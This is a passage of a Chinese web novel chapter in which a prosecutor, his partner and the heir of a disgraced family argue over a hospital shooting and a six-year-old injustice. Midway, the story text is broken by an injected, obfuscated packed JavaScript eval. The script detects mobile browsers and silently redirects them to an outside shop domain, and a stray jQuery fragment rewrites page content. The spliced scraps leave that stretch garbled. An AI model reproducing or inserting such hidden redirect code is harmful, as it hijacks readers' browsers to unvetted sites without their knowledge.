凶悍的alpha信息素如一枚无形的炸弹,令周遭等候的楚公馆仆人纷纷后退几步。
刻在基因里的本能让所有人即使从没见过闻序,却也第一时间得知车内的alpha绝非善类,甚至已经处在激怒发狂的边缘。
唯独本该对同类信息素异常排斥的楚江澈却无动于衷,淡淡地看了满脸反感地瞪着自己的闻序一会儿,面无表情地松开手。
“这里是我家,楚公馆,”楚江澈说,“不是谁设的陷阱。事实上,在今晚之前,你的搭档方鉴云已经来过这儿很多次了。”
闻序的眉皱得更深,狐疑地看着他。
“一周前在医院开枪的人,是不是方鉴云?”
他问。被质疑的当事人此刻正在他怀中毫无意识地昏睡着,或许是嗅到了太过刺激的信息素,鼻子皱了皱,小声轻哼。
闻序抿了抿唇,没有看方鉴云,信息素却悄然收敛了。
楚江澈一脸波澜不惊,对着昏过去的瞿清许挑了挑眉,向闻序示意。
“等他醒了,你亲自问他吧。”
他平静说道。
*
纷乱的思绪幻化为光怪陆离的影,瞿清许感觉自己被一个巨浪卷入海底,水面下奔腾着的却是他过去人生里无数嘈杂的、闪回的画面,冲击着他的感官。
他听见父母双亲笑着唤他的乳名卿卿,听见重山中学校园放学的钟声,听见每年仲夏首都的雨,看见站在市区大厦就能望见的、市郊那座终年积雪的小重山,又看见重山寺红墙下,那个羞涩地欲言又止的英俊少年。
于是他笑着伸出手,想去捏一捏男孩看似紧绷实则柔软的脸肉。
忽然从暗处伸出一只鬼魅般的手,死死攥住他的手腕。瞿清许浑身僵住,惊惧地回过头,明明什么都看不见,可他却感觉到有一双眼睛溶于阴森的暗地里,像看跳梁小丑那般戏谑而轻蔑地看着他,如视蝼蚁。
四周一片虚无,可压迫的气息却缠绕上他的喉咙。
紧接着,瞿清许听见耳畔传来低笑,那鬼煞贴着他的颈侧,轻声问:
“看样子,你想拉我一同下地狱,对吗?”
瞿清许猛吸了口气,睁开眼睛。
“方鉴云!你可算醒了……”
卧室内开着夜灯,可瞿清许还是被晃了眼,不适地眯起眼睛。
头疼得厉害,视线都受影响变得模糊,可他还是很快认出来这里是楚公馆。很快,一个倾身而来的人影挡住了大半光源,轻轻握住青年的肩。
瞿清许艰难地眨眨眼睛,看向闻序那张来不及收起担忧的脸。
“你昏迷的时候医生给你打了止痛针,现在感觉怎么样,有感觉吗?”
闻序捏了捏他的肩膀,见瞿清许咬了下嘴唇,忽然想起几天前对方那句肩膀也受过伤的话,这才意识到对方不是在开玩笑,忙撤开手,局促地在裤子上擦了擦掌心的汗。
很快他听见瞿清许哑着嗓子道:
“嗯,已经不怎么痛了。”
闻序手足无措地答了句那就好,松了口气,在床边一把藤椅上坐下来。椅子不大,青年又高又壮,两条长腿憋屈地窝着,往那一坐,看上去更加像个吃苦耐劳的老妈子。
闻序本人倒无所察觉,缓过神来,看着瞿清许艰难地撑坐起身,鼻腔里隐忍地叹出口气,伸手扶着他坐好,一边又道:
“楚江澈刚刚出去了,马上回来。”
瞿清许刚靠上软装的床头坐好,闻言一愣。
闻序也坐回去,二人对视的一刻,青年的目光忽然变得有些许不清不楚的晦暗。
“当初在医院开枪的人,是不是你。”
几乎是个肯定句,可闻序的语气却出乎他意料的平淡。
瞿清许移开视线,一手放回身后,习惯性地扶住腰揉捏。
闻序耐心地等着他开口。半晌,瞿清许阖了阖眼。
“是我。”他终于说,“要押送我去警署吗,闻检查?”
闻序呼吸一顿:“你知道我不是这个意思。搭档之间要毫无保留,这话对你我都生效,我只是认为自己有权利知道真相。”
门就在这时被推开,楚江澈走进房间,看到已经坐起来的瞿清许,并不惊讶,十分从容地颔首。闻序一下子被他这与瞿清许几乎熟到不能再熟的做派惹恼了,挑起一侧眉毛,呵笑一声。
“就从他先开始。”闻序看着瞿清许,向进屋的那人扬了扬下巴,“方鉴云,你和楚家到底唱的是哪一出戏?”
瞿清许刚醒过来,本就虚弱,听了这话顿时感觉头疼得更厉害。他不知道怎么每次一谈论到楚江澈,闻序都被踩了尾巴的猫似的:
“什么哪一出戏,今天是我们两个冒着生命危险过来救你,你搞清楚点行不行?”
闻序表情一僵:“那又怎么了?我问的是——你们两个,到底是什么关系,你对谭峥的案子这么上心,是不是为了他!”
说出口的刹那,一股心里的憋屈都倾诉出来的通畅感油然而生。闻序说完,找回点状态来,理直气壮地挺直了背,目不转睛地盯着瞿清许的脸。
瞿清许揉腰的动作顿了顿,深望了眼不作声的楚江澈。
“是,”他说,“我接触谭峥的指控案,就是为了给当年蒙冤的楚家平反,给六年前草草下结的‘五·三一’翻案。”
闻序气息一滞,嗖地起身:
“你居然真的——”
瞿清许仰头看着站起来的青年,漆黑的眼底一片平静。闻序看着那张难掩病容的脸,一时失语,转头望向楚江澈。
屋里三人一时谁也没说话。闻序深呼出口气,逼迫自己忽视心头一霎间升起的那些恼怒的、扭曲的杂音。
他深邃的双眸紧盯着楚江澈的眼:“人人都说,六年前是你父母眼见反对控枪案无望,这才动用手头的关系,利用首都最大的地下帮派扫除异己,进而酿成了五·三一的惨剧。楚家已是人尽皆知的幕后主谋,你想扭转局势,有什么证据,什么把握?”
楚江澈的眼中终于有所波动般,划过浮光掠影。
“正是因为缺乏证据,我才需要方鉴云从谭峥身上寻找突破口。”楚江澈道,“我父母是被冤枉的。控枪案的背后是一场巨大的政治博弈,楚家不过是斗争的牺牲品,当初谭峥认为楚家没有复起的可能,所以才做了假证,我父母从来没有联络过什么□□或者地下帮派。”
闻序:“这只是你的一面之词。就算你说的是真的,我问你,这些和方鉴云有何关系?他怎么就非要帮你到这个份儿上?”
楚江澈瞥了床上的人一眼,闻序立刻哎了一声:“少偷偷对暗号!动不动看他干什么!”
这下连瞿清许都无奈了,在闻序看不到的角度对楚江澈耸了耸肩,一脸“他跟我也这么一惊一乍的,忍忍吧”的表情,同病相怜之色溢于言表。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702378|144024||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“……”楚江澈头脑飞速运转,“方家是做军火生意的,我父亲是军人,两家多年前就有交集,虽然对我父亲而言不过举手之劳,但方家向来是滴水之恩涌泉相报……”
“——既然要报恩,怎么联姻的不是你们两家?”
此话一出,不止楚江澈和瞿清许,连闻序自己说完都愣了。
他刚刚是抽风了么,怎么连如此八竿子打不着的屁话都这样随便问?
楚江澈很快回过神来:
“闻检察,据我所知,当年与方家缔下婚约的可是——”
磅的一声,紧闭着的门扉外传来一声仓促的闷响,闻序吓了一跳,侧目而视:“谁在外面?”
他说着就要去推开门,楚江澈忽然一步跨上来挡在闻序面前,将门把手挡了个严严实实。
“是我家的佣人。”楚江澈道。
见楚江澈的反应,瞿清许一下也明白过来刚刚门外“偷听”的人是谁。他懂楚江澈的顾虑,以闻序这种耿直的性格,能看在搭档和救命恩人的份儿上对自己睁一只眼闭一只眼,可这并不代表他也会对医院监控里那个开车带任晓萱走的人高抬贵手。
闻序仍然心存疑虑:“刚刚明明是你我说了什么,门外的人听得出神,不小心弄出了动静来。我得确认一下——”
他往前半步,楚江澈也毫不退让地往前挡了挡,面色沉郁下来。
“这里都是我的人。”楚江澈一字一顿,“闻检察不必多虑,有什么问题冲我一个人来就好。”
闻序看向周身气压反常地低沉的青年,目光也毫不示弱地逐渐冷冽起来。屋内的气氛眼看着走向剑拔弩张,瞿清许忙清清嗓子:
“闻序,算了。”
青年气息一顿,有点不服气地和楚江澈对视片刻,冷哼着抬了抬眉。
“看在我搭档的份儿上,刚外面鬼鬼祟祟的人我就不管了。”
闻序审视地看着他,“你这人虽然看着不顺眼,不过有句话说的倒不假,那姓谭的的确有作伪证的嫌疑,谁授意的还不知道,但直接指使他的大概率就是武装部的陈泳。至于你其他的话,在我查到水落石出之前,都得先打个问号。”
楚江澈神色反而略微放松下来,不置可否,挪开眼。
“无所谓,总有一日你会为五·三一翻案的。”
他不再看闻序,面向瞿清许:“今晚外面想必很乱,你先在这儿待上一夜。行动不便的话,床头有电话,我会派人——”
“用不着。”
瞿清许瞳孔里闪过一丝讶异,望向打断了同伴话头的青年。
“他腰伤不是一般的重,你家里这些佣人保姆容易伤着他,”闻序生硬地说道,“我比较有经验,今晚还是我在这,就在他屋里打个地铺。”
楚江澈意味深长地看了瞿清许一眼,随后重新注视闻序。
“你随意。”
他回身握住门把手准备开门离去,又仿佛想起什么,停下来侧过头。
“闻检察。”
青年并没有直接看向闻序,微垂着眼睛,目光却隐约有所放空,连带着那棱角分明的面孔都多了些苦涩的温存。
“我知道现在你对我还心存芥蒂。五·三一的往事说来话长,如果你感兴趣,不妨明天来一趟重山区,我母亲的私立医院,你的疑问都会在那儿得到解答。”
说完,楚江澈压下把手开门,头也不回地离开了卧室。